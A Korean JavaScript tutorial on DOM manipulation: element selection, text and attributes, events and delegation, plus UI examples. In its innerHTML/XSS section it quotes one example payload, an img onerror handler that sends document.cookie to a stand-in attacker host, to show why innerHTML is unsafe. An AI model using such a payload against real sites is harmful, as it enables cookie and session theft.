JavaScript DOM 조작 | 웹 페이지 동적으로 제어하기

이 글의 핵심

사용자 입력을 innerHTML로 그대로 넣으면 스크립트가 주입될 수 있고, 목록 항목마다 이벤트 리스너를 붙이면 동적으로 추가된 요소에서 동작하지 않습니다. DOM 트리 구조와 이벤트 전파 원리를 먼저 이해한 뒤 안전한 텍스트 조작과 이벤트 위임으로 동적 UI를 만드는 흐름으로 구성했습니다.

시리즈 안내

#06 | 📋 전체 목차 | 이전: #05 비동기 · 다음: #07 클래스


들어가며

DOM이란?

DOM (Document Object Model)은 HTML 문서를 트리 구조의 객체로 옮겨 둔 것입니다. 브라우저가 문서를 그리기 위한 내부 표현이며, JavaScript는 이 트리의 노드를 읽고 바꿔 화면과 동작을 갱신합니다.

<!DOCTYPE html>
<html>
  <head>
    <title>제목</title>
  </head>
  <body>
    <h1 id="title">안녕하세요</h1>
    <p class="content">내용</p>
  </body>
</html>

DOM 트리:

document
  └─ html
      ├─ head
      │   └─ title
      └─ body
          ├─ h1#title
          └─ p.content

DOM 트리 구조 조금 더 보기

  • document: 트리의 진입점입니다. document.documentElement는 <html>, document.body는 <body>입니다.
  • 노드(Node): 요소뿐 아니라 텍스트·주석도 노드입니다. 예: <p>안녕</p>에서 "안녕"은 텍스트 노드입니다.
  • 부모·자식·형제: 각 노드는 parentElement, children, nextElementSibling 등으로 트리 상의 위치를 따라갈 수 있습니다(아래 «기타 선택 메서드» 절 참고).
  • 렌더 트리와의 관계: 브라우저는 HTML을 파싱해 DOM을 만들고, CSS와 함께 화면에 그립니다. DOM을 바꾸면(텍스트·속성·자식 추가/삭제) 화면이 갱신됩니다. 실무에서는 개발자 도구 Elements 패널에서 트리를 펼치며 구조를 확인하는 습관이 중요합니다.

요소 선택: getElementById와 querySelector

getElementById

// ID로 선택 (가장 빠름)
const title = document.getElementById("title");
console.log(title.textContent);  // 안녕하세요

querySelector / querySelectorAll

// CSS 선택자 사용 (첫 번째 요소)
const title = document.querySelector("#title");
const content = document.querySelector(".content");
const firstP = document.querySelector("p");
// 모든 요소 선택
const allPs = document.querySelectorAll("p");
console.log(allPs.length);  // p 태그 개수
// 복잡한 선택자
const link = document.querySelector("div.container > a.link");
const items = document.querySelectorAll("ul li:nth-child(odd)");
// NodeList 순회
allPs.forEach(p => {
    console.log(p.textContent);
});

기타 선택 메서드

// 클래스로 선택
const elements = document.getElementsByClassName("content");
// 태그로 선택
const paragraphs = document.getElementsByTagName("p");
// 자식 요소
const parent = document.getElementById("parent");
const children = parent.children;  // HTMLCollection
const firstChild = parent.firstElementChild;
const lastChild = parent.lastElementChild;
// 형제 요소
const element = document.getElementById("myElement");
const next = element.nextElementSibling;
const prev = element.previousElementSibling;
// 부모 요소
const parent = element.parentElement;

선택 메서드가 돌려주는 목록의 종류가 다르다는 점을 알아 두면 버그 하나를 피할 수 있습니다. getElementsByClassName, getElementsByTagName, children은 라이브 HTMLCollection 이라 DOM이 바뀌면 내용이 즉시 따라 바뀝니다. 그래서 const items = document.getElementsByClassName("active");를 순회하면서 items[i].classList.remove("active")를 하면, 클래스를 지우는 순간 그 요소가 컬렉션에서 빠지고 인덱스가 당겨져 하나 걸러 하나씩만 처리됩니다. 반면 querySelectorAll은 호출 시점의 정적 NodeList 를 돌려주므로 이런 문제가 없고 forEach도 바로 쓸 수 있습니다(HTMLCollection에는 forEach가 없어 Array.from()이 필요합니다). 또 위 코드처럼 const parent를 같은 스코프에서 두 번 선언하면 SyntaxError: Identifier 'parent' has already been declared가 나므로, 코드를 그대로 붙여 넣을 때는 변수 이름을 나눠야 합니다.


텍스트, 속성, 스타일 조작

텍스트 변경

const title = document.getElementById("title");
// textContent: 순수 텍스트
title.textContent = "새로운 제목";
// innerHTML: HTML 포함 (XSS 주의!)
title.innerHTML = "새로운 <strong>제목</strong>";
// innerText: 화면에 보이는 텍스트 (스타일 고려)
title.innerText = "제목";

innerHTML vs textContent 실무 가이드

구분textContentinnerHTML
내용순수 텍스트만HTML 문자열을 파싱해 DOM에 반영
XSS사용자 입력을 넣어도 태그로 실행되지 않음신뢰할 수 없는 문자열을 넣으면 스크립트 삽입 위험
성능대체로 단순·안전HTML 파싱 비용 + 보안 이슈

규칙: 사용자 입력이나 API 응답을 화면에 넣을 때는 textContent를 기본으로 하며, 정말 HTML이 필요하면 먼저 이스케이프하거나 DOMPurify 같은 라이브러리를 검토합니다. 리스트를 동적으로 만들 때는 createElement + appendChild가 innerHTML 문자열 조립보다 추적이 쉬운 경우가 많습니다.

// ✅ 안전: 텍스트만 표시
el.textContent = userInput;
// ⚠️ 위험: userInput에 <script>가 들어갈 수 있음
el.innerHTML = userInput;

정확히 말하면 innerHTML로 넣은 <script> 태그는 실행되지 않습니다. HTML5 명세가 innerHTML로 삽입된 스크립트 요소는 실행하지 않도록 정해 두었기 때문입니다. 그래서 “<script>alert(1)</script>를 넣어 봤는데 아무 일도 없으니 안전하다”고 착각하기 쉬운데, 실제 공격은 <img src=x onerror="fetch('https://evil.example/?c='+document.cookie)">처럼 이벤트 핸들러 속성을 쓰며, 이것은 그대로 실행됩니다. innerText는 textContent와 비슷해 보이지만 CSS로 숨겨진 텍스트를 제외하고 줄바꿈을 화면 모양대로 계산하느라 레이아웃 계산을 강제하므로, 단순히 텍스트를 넣고 뺄 때는 textContent가 더 빠릅니다.

속성 조작

const link = document.querySelector("a");
// 속성 가져오기
console.log(link.getAttribute("href"));
// 속성 설정
link.setAttribute("href", "https://google.com");
link.setAttribute("target", "_blank");
// 속성 제거
link.removeAttribute("target");
// 직접 접근
link.href = "https://google.com";
link.id = "myLink";
link.className = "link active";
// classList (클래스 조작)
link.classList.add("highlight");
link.classList.remove("active");
link.classList.toggle("selected");  // 있으면 제거, 없으면 추가
console.log(link.classList.contains("highlight"));  // true

스타일 변경

const box = document.getElementById("box");
// 인라인 스타일
box.style.color = "red";
box.style.backgroundColor = "yellow";
box.style.fontSize = "20px";
// 여러 스타일 한 번에
Object.assign(box.style, {
    color: "blue",
    backgroundColor: "lightgray",
    padding: "10px",
    borderRadius: "5px"
});
// 계산된 스타일 가져오기
const styles = window.getComputedStyle(box);
console.log(styles.color);  // rgb(0, 0, 255)

getAttribute("href")와 link.href는 같은 값처럼 보이지만 다릅니다. 속성(attribute)은 HTML에 적힌 그대로의 문자열이고, 프로퍼티(property)는 브라우저가 해석한 현재 값입니다. <a href="/about">에서 getAttribute("href")는 "/about", link.href는 "https://example.com/about"처럼 절대 URL이 나옵니다. 입력 필드는 차이가 더 큽니다. input.getAttribute("value")는 초기값을 그대로 돌려주고, 사용자가 입력한 현재 값은 input.value에만 반영됩니다.

스타일을 바꿀 때는 style로 값을 하나씩 넣기보다 클래스를 토글하는 편이 대개 낫습니다. 스타일 정의가 CSS에 모이고, 인라인 스타일은 특이도가 높아 나중에 CSS로 덮기 어렵기 때문입니다. 성능 면에서는 스타일을 쓰고 나서 바로 읽는 패턴을 조심해야 합니다. box.style.width = "100px" 직후 box.offsetHeight나 getComputedStyle을 읽으면 브라우저는 정확한 값을 주려고 그 자리에서 레이아웃을 다시 계산하고, 이것을 루프 안에서 반복하면 요소마다 레이아웃이 반복되는 “레이아웃 스래싱”이 생깁니다. 읽기를 모두 먼저 하고 쓰기를 나중에 몰아서 하면 대부분 해결됩니다.


요소 생성, 삭제, 복제

요소 생성

// 요소 생성
const div = document.createElement("div");
div.textContent = "새 요소";
div.className = "box";
div.id = "newBox";
// 속성 설정
div.setAttribute("data-id", "123");
// 추가
document.body.appendChild(div);  // body 끝에 추가
// 특정 위치에 추가
const container = document.getElementById("container");
const firstChild = container.firstElementChild;
container.insertBefore(div, firstChild);  // 첫 번째 자식 앞에
// insertAdjacentHTML
container.insertAdjacentHTML("beforeend", "<p>새 단락</p>");
// beforebegin: 요소 앞
// afterbegin: 첫 자식 앞
// beforeend: 마지막 자식 뒤
// afterend: 요소 뒤

요소 삭제

const element = document.getElementById("myElement");
// 방법 1: remove()
element.remove();
// 방법 2: removeChild()
const parent = element.parentElement;
parent.removeChild(element);
// 모든 자식 제거
const container = document.getElementById("container");
container.innerHTML = "";  // 간단함 (제거된 요소의 리스너는 참조가 없으면 함께 정리됨)
// 또는
while (container.firstChild) {
    container.removeChild(container.firstChild);
}
// 최신 브라우저: 한 번에 모두 교체(인자 없으면 비움)
container.replaceChildren();

insertAdjacentHTML은 기존 자식을 건드리지 않고 문자열을 파싱해 끼워 넣으므로, container.innerHTML += "<p>새 단락</p>"보다 훨씬 낫습니다. innerHTML +=는 기존 내용 전체를 문자열로 꺼냈다가 새 문자열과 합쳐 처음부터 다시 파싱하기 때문에, 이미 있던 요소들이 모두 새 요소로 바뀌어 거기 붙어 있던 이벤트 리스너와 입력 중이던 값, 포커스가 사라집니다. 목록에 항목을 추가할 때마다 +=를 쓰면 항목 수에 비례해 느려지는 것도 같은 이유입니다. 다만 insertAdjacentHTML도 문자열을 HTML로 해석하므로 사용자 입력을 넣을 때는 innerHTML과 같은 XSS 주의가 필요합니다. 요소를 많이 추가해야 한다면 DocumentFragment에 먼저 모은 뒤 한 번에 append하면 DOM 변경이 한 번으로 줄어듭니다.

요소 복제

const original = document.getElementById("original");
// 얕은 복제 (자식 제외)
const shallowClone = original.cloneNode(false);
// 깊은 복제 (자식 포함)
const deepClone = original.cloneNode(true);
document.body.appendChild(deepClone);

cloneNode는 속성과 자식은 복사하지만 addEventListener로 붙인 이벤트 리스너는 복사하지 않습니다. 또 id까지 그대로 복사되므로 위 코드처럼 문서에 다시 넣으면 같은 id가 두 개가 되어 getElementById가 첫 번째만 찾게 됩니다. 복제한 뒤에는 deepClone.id = "..."로 바꾸거나 removeAttribute("id")를 해 두는 것이 좋습니다. 반복되는 마크업을 복제하는 용도라면 <template> 요소에 원본을 두고 template.content.cloneNode(true)로 꺼내 쓰는 방식이 화면에 보이지 않는 원본을 따로 관리할 필요가 없어 편리합니다.


이벤트 리스너, 전파, 위임

이벤트 리스너

const button = document.getElementById("myButton");
// 이벤트 리스너 추가
button.addEventListener("click", function(event) {
    console.log("클릭됨!");
    console.log("이벤트 타입:", event.type);
    console.log("타겟:", event.target);
});
// 화살표 함수
button.addEventListener("click", (e) => {
    console.log("클릭됨!");
});
// 이벤트 리스너 제거
function handleClick(e) {
    console.log("클릭!");
}
button.addEventListener("click", handleClick);
button.removeEventListener("click", handleClick);
// 한 번만 실행
button.addEventListener("click", () => {
    console.log("한 번만 실행");
}, { once: true });

removeEventListener는 등록할 때와 같은 함수 참조를 넘겨야만 동작합니다. 위의 화살표 함수처럼 익명 함수로 등록한 리스너는 나중에 같은 모양의 함수를 다시 써도 다른 객체라서 제거되지 않습니다. 제거할 가능성이 있는 리스너는 handleClick처럼 이름 있는 함수로 두거나, AbortController를 만들어 { signal: controller.signal } 옵션으로 등록한 뒤 controller.abort() 한 번으로 여러 리스너를 한꺼번에 정리하는 방법이 있습니다. SPA에서 화면을 바꿀 때 window나 document에 붙인 리스너를 정리하지 않으면, 화면을 오갈 때마다 리스너가 쌓여 같은 핸들러가 여러 번 실행되고 이전 화면의 요소가 메모리에서 해제되지 않습니다.

이벤트 전파: 캡처링과 버블링

이벤트는 DOM 트리를 따라 두 단계로 전파됩니다.

  1. 캡처링(capturing): window → 대상 요소 방향(위에서 아래로).
  2. 타깃(target): 실제 이벤트가 발생한 요소.
  3. 버블링(bubbling): 대상 요소 → window 방향(아래에서 위로). 대부분의 이벤트는 버블링합니다. addEventListener의 세 번째 인자로 캡처 단계에서만 실행할지 정합니다.
const outer = document.getElementById("outer");
const inner = document.getElementById("inner");
outer.addEventListener(
  "click",
  () => console.log("outer 캡처"),
  { capture: true }
);
inner.addEventListener("click", () => console.log("inner 타깃"));
outer.addEventListener("click", () => console.log("outer 버블"));
// inner 클릭 시 로그 순서(대표적): outer 캡처 → inner 타깃 → outer 버블
  • event.target: 실제로 이벤트가 발생한 가장 안쪽 요소.
  • event.currentTarget: 리스너가 붙은 요소(위임 시 부모일 수 있음). 버블링을 막으려면 event.stopPropagation()을 사용합니다(꼭 필요할 때만 — 상위 핸들러까지 막습니다).

주요 이벤트

// 마우스 이벤트
element.addEventListener("click", e => {});      // 클릭
element.addEventListener("dblclick", e => {});   // 더블클릭
element.addEventListener("mouseenter", e => {}); // 마우스 진입
element.addEventListener("mouseleave", e => {}); // 마우스 이탈
element.addEventListener("mousemove", e => {});  // 마우스 이동
// 키보드 이벤트
input.addEventListener("keydown", e => {
    console.log("키:", e.key);
    console.log("코드:", e.code);
    
    if (e.key === "Enter") {
        console.log("엔터 입력!");
    }
});
input.addEventListener("keyup", e => {});
input.addEventListener("keypress", e => {});  // deprecated
// 폼 이벤트
form.addEventListener("submit", e => {
    e.preventDefault();  // 기본 동작 막기
    console.log("폼 제출");
});
input.addEventListener("input", e => {
    console.log("입력값:", e.target.value);
});
input.addEventListener("change", e => {
    console.log("변경됨:", e.target.value);
});
// 윈도우 이벤트
window.addEventListener("load", () => {
    console.log("페이지 로드 완료");
});
window.addEventListener("resize", () => {
    console.log("창 크기:", window.innerWidth, window.innerHeight);
});
window.addEventListener("scroll", () => {
    console.log("스크롤 위치:", window.scrollY);
});

input과 change의 차이는 발생 시점입니다. input은 글자가 바뀔 때마다, change는 텍스트 입력의 경우 포커스를 잃으면서 값이 확정될 때 한 번 발생합니다. 실시간 검색은 input, 저장 확인은 change가 어울립니다. mousemove, scroll, resize는 1초에 수십 번 발생하므로 핸들러에서 무거운 일을 하면 화면이 버벅입니다. 디바운스나 requestAnimationFrame으로 빈도를 줄이고, 스크롤 핸들러에서 preventDefault를 쓰지 않는다면 { passive: true } 옵션을 주어 브라우저가 스크롤을 기다리지 않게 하는 것이 좋습니다. 요소가 화면에 보이는지를 확인하려고 scroll 이벤트에서 위치를 계산하는 코드는 대부분 IntersectionObserver로 바꾸는 편이 가볍습니다.

키보드 이벤트에서는 한글 입력을 따로 고려해야 합니다. IME로 글자를 조합하는 중에도 keydown이 발생하기 때문에, 아래 To-Do 예제처럼 Enter 키로 항목을 추가하면 한글을 입력하고 Enter를 눌렀을 때 마지막 글자가 한 번 더 추가되거나 항목이 두 번 생기는 문제가 흔합니다. 이벤트 객체의 isComposing이 true이면 조합 중이므로 if (e.isComposing) return;으로 무시하면 해결됩니다. 영문으로만 테스트하면 발견되지 않는 버그라, 한국어 서비스라면 꼭 한글로 확인해 보는 편이 좋습니다.

이벤트 객체

button.addEventListener("click", (event) => {
    // 이벤트 타입
    console.log(event.type);  // click
    
    // 타겟 요소
    console.log(event.target);  // 클릭된 요소
    console.log(event.currentTarget);  // 이벤트 리스너가 등록된 요소
    
    // 마우스 위치
    console.log(event.clientX, event.clientY);  // 뷰포트 기준
    console.log(event.pageX, event.pageY);      // 문서 기준
    
    // 기본 동작 막기
    event.preventDefault();
    
    // 이벤트 전파 중단
    event.stopPropagation();
});

이벤트 위임 (Event Delegation)

// ❌ 각 요소에 이벤트 등록 (비효율)
const items = document.querySelectorAll(".item");
items.forEach(item => {
    item.addEventListener("click", () => {
        console.log("클릭:", item.textContent);
    });
});
// ✅ 부모에 이벤트 등록 (효율적)
const list = document.getElementById("list");
list.addEventListener("click", (e) => {
    if (e.target.classList.contains("item")) {
        console.log("클릭:", e.target.textContent);
    }
});
// 동적 요소에도 작동
const newItem = document.createElement("li");
newItem.className = "item";
newItem.textContent = "새 항목";
list.appendChild(newItem);  // 자동으로 이벤트 적용됨

위임 예제의 e.target.classList.contains("item") 검사는 <li class="item"> 안에 <span>이나 아이콘이 들어가는 순간 깨집니다. 사용자가 span을 클릭하면 e.target은 span이라 조건이 거짓이 되기 때문입니다. 실무에서는 const item = e.target.closest(".item"); if (!item || !list.contains(item)) return;처럼 가장 가까운 조상을 찾는 방식이 안전합니다. 위임의 장점은 리스너 수가 줄어드는 것보다, 나중에 추가되는 요소를 따로 처리할 필요가 없다는 데 있습니다. 반대로 focus, blur, mouseenter처럼 버블링하지 않는 이벤트는 부모에서 받을 수 없으므로, 버블링하는 focusin/focusout, mouseover를 대신 쓰거나 캡처 단계로 등록해야 합니다.


To-Do 리스트, 탭, 모달, 폼 검증 예제

예제 1: To-Do 리스트

<!DOCTYPE html>
<html>
<head>
    <title>To-Do 리스트</title>
    <style>
        body {
            font-family: Arial, sans-serif;
            max-width: 500px;
            margin: 50px auto;
        }
        .todo-item {
            padding: 10px;
            margin: 5px 0;
            border: 1px solid #ddd;
            display: flex;
            justify-content: space-between;
            align-items: center;
        }
        .completed {
            text-decoration: line-through;
            opacity: 0.6;
        }
        button {
            padding: 5px 10px;
            cursor: pointer;
        }
    </style>
</head>
<body>
    <h1>To-Do 리스트</h1>
    
    <input type="text" id="todoInput" placeholder="할 일 입력">
    <button id="addBtn">추가</button>
    
    <div id="todoList"></div>
    
    <script>
        const input = document.getElementById("todoInput");
        const addBtn = document.getElementById("addBtn");
        const todoList = document.getElementById("todoList");
        
        // 할 일 추가
        function addTodo() {
            const text = input.value.trim();
            
            if (!text) {
                alert("할 일을 입력하세요!");
                return;
            }
            
            // 요소 생성
            const todoItem = document.createElement("div");
            todoItem.className = "todo-item";
            
            const span = document.createElement("span");
            span.textContent = text;
            
            const deleteBtn = document.createElement("button");
            deleteBtn.textContent = "삭제";
            
            todoItem.appendChild(span);
            todoItem.appendChild(deleteBtn);
            todoList.appendChild(todoItem);
            
            // 입력창 초기화
            input.value = "";
            input.focus();
        }
        
        // 이벤트 리스너
        addBtn.addEventListener("click", addTodo);
        
        input.addEventListener("keydown", (e) => {
            if (e.isComposing) return;  // 한글 조합 중 Enter 무시 (중복 추가 방지)
            if (e.key === "Enter") {
                addTodo();
            }
        });
        
        // 이벤트 위임: 완료/삭제
        todoList.addEventListener("click", (e) => {
            const todoItem = e.target.closest(".todo-item");
            if (!todoItem) return;  // 목록의 빈 영역 클릭
            
            if (e.target.tagName === "SPAN") {
                // 완료 토글
                todoItem.classList.toggle("completed");
            } else if (e.target.tagName === "BUTTON") {
                // 삭제
                todoItem.remove();
            }
        });
    </script>
</body>
</html>

예제 2: 탭 UI

<!DOCTYPE html>
<html>
<head>
    <title>탭 UI</title>
    <style>
        .tabs {
            display: flex;
            border-bottom: 2px solid #ddd;
        }
        .tab {
            padding: 10px 20px;
            cursor: pointer;
            border: none;
            background: none;
        }
        .tab.active {
            border-bottom: 3px solid #007bff;
            color: #007bff;
        }
        .tab-content {
            padding: 20px;
            display: none;
        }
        .tab-content.active {
            display: block;
        }
    </style>
</head>
<body>
    <div class="tabs">
        <button class="tab active" data-tab="tab1">탭 1</button>
        <button class="tab" data-tab="tab2">탭 2</button>
        <button class="tab" data-tab="tab3">탭 3</button>
    </div>
    
    <div id="tab1" class="tab-content active">
        <h2>탭 1 내용</h2>
        <p>첫 번째 탭입니다.</p>
    </div>
    
    <div id="tab2" class="tab-content">
        <h2>탭 2 내용</h2>
        <p>두 번째 탭입니다.</p>
    </div>
    
    <div id="tab3" class="tab-content">
        <h2>탭 3 내용</h2>
        <p>세 번째 탭입니다.</p>
    </div>
    
    <script>
        const tabs = document.querySelectorAll(".tab");
        const contents = document.querySelectorAll(".tab-content");
        
        tabs.forEach(tab => {
            tab.addEventListener("click", () => {
                // 모든 탭 비활성화
                tabs.forEach(t => t.classList.remove("active"));
                contents.forEach(c => c.classList.remove("active"));
                
                // 클릭된 탭 활성화
                tab.classList.add("active");
                const targetId = tab.getAttribute("data-tab");
                document.getElementById(targetId).classList.add("active");
            });
        });
    </script>
</body>
</html>

예제 3: 모달 (Modal)

<!DOCTYPE html>
<html>
<head>
    <title>모달</title>
    <style>
        .modal {
            display: none;
            position: fixed;
            top: 0;
            left: 0;
            width: 100%;
            height: 100%;
            background: rgba(0, 0, 0, 0.5);
            justify-content: center;
            align-items: center;
        }
        .modal.active {
            display: flex;
        }
        .modal-content {
            background: white;
            padding: 30px;
            border-radius: 10px;
            max-width: 500px;
        }
        .close {
            float: right;
            cursor: pointer;
            font-size: 24px;
        }
    </style>
</head>
<body>
    <button id="openModal">모달 열기</button>
    
    <div id="modal" class="modal">
        <div class="modal-content">
            <span class="close">&times;</span>
            <h2>모달 제목</h2>
            <p>모달 내용입니다.</p>
        </div>
    </div>
    
    <script>
        const openBtn = document.getElementById("openModal");
        const modal = document.getElementById("modal");
        const closeBtn = document.querySelector(".close");
        
        // 모달 열기
        openBtn.addEventListener("click", () => {
            modal.classList.add("active");
        });
        
        // 모달 닫기
        closeBtn.addEventListener("click", () => {
            modal.classList.remove("active");
        });
        
        // 배경 클릭 시 닫기
        modal.addEventListener("click", (e) => {
            if (e.target === modal) {
                modal.classList.remove("active");
            }
        });
        
        // ESC 키로 닫기
        document.addEventListener("keydown", (e) => {
            if (e.key === "Escape" && modal.classList.contains("active")) {
                modal.classList.remove("active");
            }
        });
    </script>
</body>
</html>

이 모달은 동작은 하지만 접근성 측면에서 부족한 부분이 있습니다. 모달이 열려도 키보드 포커스가 뒤쪽 페이지에 남아 있어 Tab을 누르면 가려진 버튼으로 이동하고, 스크린 리더는 이것이 대화상자라는 사실을 알 수 없습니다. 닫기 버튼도 <span>이라 키보드로 누를 수 없습니다. 최신 브라우저가 모두 지원하는 <dialog> 요소를 쓰면 dialog.showModal()만으로 배경 차단, 포커스 가두기, ESC로 닫기, ::backdrop 스타일이 기본 제공되므로, 직접 만든 모달보다 먼저 검토할 만합니다. 탭 UI도 마찬가지로 role="tablist", role="tab", aria-selected를 지정하고 화살표 키로 탭을 옮길 수 있게 해야 키보드 사용자도 쓸 수 있습니다.

예제 4: 동적 리스트 (추가·삭제 패턴)

입력값으로 <li>를 만들고, 삭제 버튼은 createElement로 붙이거나 이벤트 위임으로 처리합니다. 아래는 위임만 사용하는 짧은 패턴입니다.

<ul id="itemList"></ul>
<input type="text" id="itemInput" placeholder="항목">
<button type="button" id="addBtn">추가</button>
<script>
  const list = document.getElementById("itemList");
  const input = document.getElementById("itemInput");
  const addBtn = document.getElementById("addBtn");
  function addItem() {
    const text = input.value.trim();
    if (!text) return;
    const li = document.createElement("li");
    li.textContent = text; // 텍스트만 (HTML 주입 방지)
    const del = document.createElement("button");
    del.type = "button";
    del.textContent = "삭제";
    del.dataset.action = "delete";
    li.appendChild(del);
    list.appendChild(li);
    input.value = "";
  }
  addBtn.addEventListener("click", addItem);
  list.addEventListener("click", (e) => {
    const btn = e.target.closest("button[data-action='delete']");
    if (!btn) return;
    btn.closest("li")?.remove();
  });
</script>

예제 5: 폼 검증 (클라이언트)

HTML5 required, pattern, type=“email” 로 1차 검증을 하며, JavaScript로 메시지 표시·포커스를 보강합니다. 최종 검증은 서버에서 다시 해야 합니다.

<form id="signup" novalidate>
  <label>
    이메일
    <input type="email" id="email" name="email" required>
  </label>
  <span id="emailError" class="error" aria-live="polite"></span>
  <label>
    비밀번호 (8자 이상)
    <input type="password" id="password" name="password" minlength="8" required>
  </label>
  <span id="pwError" class="error" aria-live="polite"></span>
  <button type="submit">가입</button>
</form>
<script>
  const form = document.getElementById("signup");
  const email = document.getElementById("email");
  const password = document.getElementById("password");
  const emailError = document.getElementById("emailError");
  const pwError = document.getElementById("pwError");
  function validateEmailField() {
    emailError.textContent = "";
    if (!email.validity.valid) {
      emailError.textContent = email.validationMessage || "이메일 형식을 확인하세요.";
      return false;
    }
    return true;
  }
  function validatePasswordField() {
    pwError.textContent = "";
    if (password.value.length < 8) {
      pwError.textContent = "비밀번호는 8자 이상이어야 합니다.";
      return false;
    }
    return true;
  }
  email.addEventListener("blur", validateEmailField);
  password.addEventListener("blur", validatePasswordField);
  form.addEventListener("submit", (e) => {
    const okEmail = validateEmailField();
    const okPw = validatePasswordField();
    if (!okEmail || !okPw) {
      e.preventDefault();
      return;
    }
    // e.preventDefault(); 후 fetch()로 전송 등
    console.log({ email: email.value });
  });
</script>

폼 이벤트 처리

폼 이벤트

<form id="myForm">
    <input type="text" id="username" name="username" required>
    <input type="email" id="email" name="email" required>
    <input type="password" id="password" name="password" required>
    <button type="submit">제출</button>
</form>
<script>
    const form = document.getElementById("myForm");
    
    form.addEventListener("submit", (e) => {
        e.preventDefault();  // 페이지 새로고침 방지
        
        // FormData 사용
        const formData = new FormData(form);
        
        const data = {
            username: formData.get("username"),
            email: formData.get("email"),
            password: formData.get("password")
        };
        
        console.log(data);
        
        // 또는 직접 접근
        const username = document.getElementById("username").value;
        const email = document.getElementById("email").value;
        
        // 유효성 검사
        if (username.length < 3) {
            alert("사용자명은 3자 이상이어야 합니다");
            return;
        }
        
        // API 전송
        fetch("/api/register", {
            method: "POST",
            headers: { "Content-Type": "application/json" },
            body: JSON.stringify(data)
        })
        .then(response => response.json())
        .then(result => console.log(result))
        .catch(error => console.error(error));
    });
    
    // 실시간 유효성 검사
    const username = document.getElementById("username");
    
    username.addEventListener("input", (e) => {
        const value = e.target.value;
        
        if (value.length < 3) {
            username.style.borderColor = "red";
        } else {
            username.style.borderColor = "green";
        }
    });
</script>

로드 시점, innerHTML +=, 이벤트 전파 함정

실수 1: DOMContentLoaded 전에 접근

// ❌ HTML 로드 전 실행
const button = document.getElementById("myButton");  // null!
button.addEventListener("click", () => {});  // TypeError
// ✅ DOMContentLoaded 대기
document.addEventListener("DOMContentLoaded", () => {
    const button = document.getElementById("myButton");
    button.addEventListener("click", () => {
        console.log("클릭!");
    });
});
// ✅ 또는 script를 body 끝에 배치

실수 2: innerHTML +=로 기존 요소의 리스너가 사라짐

// ❌ innerHTML += 는 기존 내용을 문자열로 꺼내 전부 다시 만든다
const container = document.getElementById("container");
const button = document.createElement("button");
button.textContent = "클릭";
button.addEventListener("click", () => console.log("클릭!"));
container.appendChild(button);
container.innerHTML += "<p>추가 내용</p>";  // 버튼이 새 요소로 교체되어 리스너가 사라짐
// ✅ 기존 요소를 유지하며 추가
container.insertAdjacentHTML("beforeend", "<p>추가 내용</p>");
// 또는
const p = document.createElement("p");
p.textContent = "추가 내용";
container.append(p);

이 실수가 헷갈리는 이유는 증상이 “버튼을 눌러도 아무 반응이 없다”로만 나타나기 때문입니다. 화면에는 버튼이 그대로 보이지만, 사실은 문자열에서 다시 만들어진 다른 버튼이라 리스너가 없습니다. 비울 목적으로 innerHTML = ""를 쓰는 것 자체는 문제가 없습니다. 제거된 요소는 다른 곳에서 참조하지 않으면 리스너와 함께 가비지 컬렉션됩니다. 누수가 생기는 것은 제거한 요소를 변수나 배열, 클로저가 계속 붙잡고 있을 때입니다.

실수 3: 이벤트 전파

// 이벤트 버블링
<div id="parent">
    <button id="child">버튼</button>
</div>
document.getElementById("parent").addEventListener("click", () => {
    console.log("부모 클릭");
});
document.getElementById("child").addEventListener("click", (e) => {
    console.log("자식 클릭");
    // e.stopPropagation();  // 전파 중단
});
// 버튼 클릭 시:
// 자식 클릭
// 부모 클릭 (버블링)

연습 문제: 카운터와 동적 리스트

문제 1: 카운터

증가/감소 버튼이 있는 카운터를 만드세요.

<div id="counter">
    <button id="decrease">-</button>
    <span id="count">0</span>
    <button id="increase">+</button>
</div>
<script>
    let count = 0;
    const countSpan = document.getElementById("count");
    
    document.getElementById("increase").addEventListener("click", () => {
        count++;
        countSpan.textContent = count;
    });
    
    document.getElementById("decrease").addEventListener("click", () => {
        count--;
        countSpan.textContent = count;
    });
</script>

문제 2: 동적 리스트

입력한 항목을 리스트에 추가하고 삭제할 수 있게 하세요.

<input type="text" id="itemInput">
<button id="addItem">추가</button>
<ul id="itemList"></ul>
<script>
    const input = document.getElementById("itemInput");
    const addBtn = document.getElementById("addItem");
    const list = document.getElementById("itemList");
    
    function addItem() {
        const text = input.value.trim();
        if (!text) return;
        
        const li = document.createElement("li");
        li.textContent = text;  // 사용자 입력은 textContent로 (innerHTML에 넣으면 XSS)
        const del = document.createElement("button");
        del.className = "delete";
        del.textContent = "삭제";
        li.append(" ", del);
        
        list.appendChild(li);
        input.value = "";
    }
    
    addBtn.addEventListener("click", addItem);
    
    input.addEventListener("keydown", (e) => {
        if (e.isComposing) return;
        if (e.key === "Enter") addItem();
    });
    
    // 이벤트 위임
    list.addEventListener("click", (e) => {
        if (e.target.classList.contains("delete")) {
            e.target.parentElement.remove();
        }
    });
</script>

DOM 조작 요약

  1. 요소 선택:
    • getElementById(): ID로 선택
    • querySelector(): CSS 선택자
    • querySelectorAll(): 모든 요소
  2. 요소 조작:
    • 텍스트: textContent(기본), innerHTML(신뢰할 수 있는 입력만)
    • 속성: getAttribute(), setAttribute()
    • 스타일: style, classList
  3. 요소 생성/삭제:
    • 생성: createElement()
    • 추가: appendChild(), insertBefore()
    • 삭제: remove(), removeChild()
  4. 이벤트:
    • 등록: addEventListener()
    • 제거: removeEventListener()
    • 위임: 부모에 이벤트 등록
    • 전파: 캡처링(capture: true)과 버블링 이해
  5. 이벤트 객체:
    • event.target: 이벤트 발생 요소
    • event.preventDefault(): 기본 동작 막기
    • event.stopPropagation(): 전파 중단

DOM 코드 작성 습관

  1. ✅ querySelector 우선 사용
  2. ✅ 이벤트 위임 활용
  3. ✅ DOMContentLoaded 대기
  4. ✅ innerHTML 대신 createElement (보안)
  5. ✅ 이벤트 리스너 정리

다음 단계


같이 보면 좋은 글


자주 묻는 질문 (FAQ)

Q. querySelector가 null을 반환하는 이유는 무엇인가요?

A. 가장 흔한 원인은 스크립트가 해당 요소보다 먼저 실행되는 경우입니다. <head>에 넣은 스크립트는 <body>가 파싱되기 전에 실행되므로 아직 요소가 DOM에 없습니다. <script defer>를 쓰거나 스크립트를 </body> 직전에 두거나, DOMContentLoaded 이벤트 안에서 요소를 선택하면 해결됩니다. 선택자 오타(#나 . 누락)도 같은 증상을 내므로 함께 확인합니다.